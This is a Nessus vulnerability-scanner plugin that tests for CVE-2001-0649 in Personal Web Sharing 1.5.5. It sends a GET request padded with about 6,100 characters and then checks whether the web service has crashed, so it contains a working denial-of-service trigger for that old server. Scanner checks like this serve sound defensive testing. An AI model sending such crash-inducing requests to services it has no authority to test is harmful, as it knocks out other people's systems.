Personal Web Sharing Long HTTP Request DoS

#
# (C) Tenable Network Security, Inc.
#

# Script audit and contributions from Carmichael Security
#      Erik Anderson <[email protected]> (nb: domain no longer exists)
#
#
# References:
# To: [email protected]
# Subject: Personal Web Sharing remote stop
# Date: Thu, 10 May 2001 07:32:43 +0200 (EET)
# Frok: "Jass Seljamaa" <[email protected]>
#
# Affected:
# Personal Web sharing v1.5.5
#

include("compat.inc");

if (description)
{
 script_id(11085);
 script_version("1.29");
 script_cvs_date("Date: 2018/06/27 18:42:26");

 script_cve_id("CVE-2001-0649");
 script_bugtraq_id(2715, 84);

 script_name(english:"Personal Web Sharing Long HTTP Request DoS");
 script_summary(english:"Too long request kills PWS");

 script_set_attribute(attribute:"synopsis", value:"The remote server is vulnerable to a denial of service.");
 script_set_attribute(attribute:"description", value:
"It was possible to kill the Personal Web Sharing service by sending it
a too long request.");
 script_set_attribute(attribute:"solution", value:"Upgrade your software or protect it with a filtering reverse proxy");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"vuln_publication_date", value:"2001/05/10");
 script_set_attribute(attribute:"plugin_publication_date", value:"2002/08/18");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DENIAL);
 script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
 script_family(english:"Web Servers");

 script_dependencie("http_version.nasl");
 script_require_keys("Settings/ParanoidReport");
 script_require_ports("Services/www", 80);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_http_port(default:80);
if (http_is_dead(port: port)) exit(0);

r = http_send_recv3(method: "GET", item: strcat("/?", crap(6100)), port:port);

if (http_is_dead(port: port, retry:3)) security_warning(port);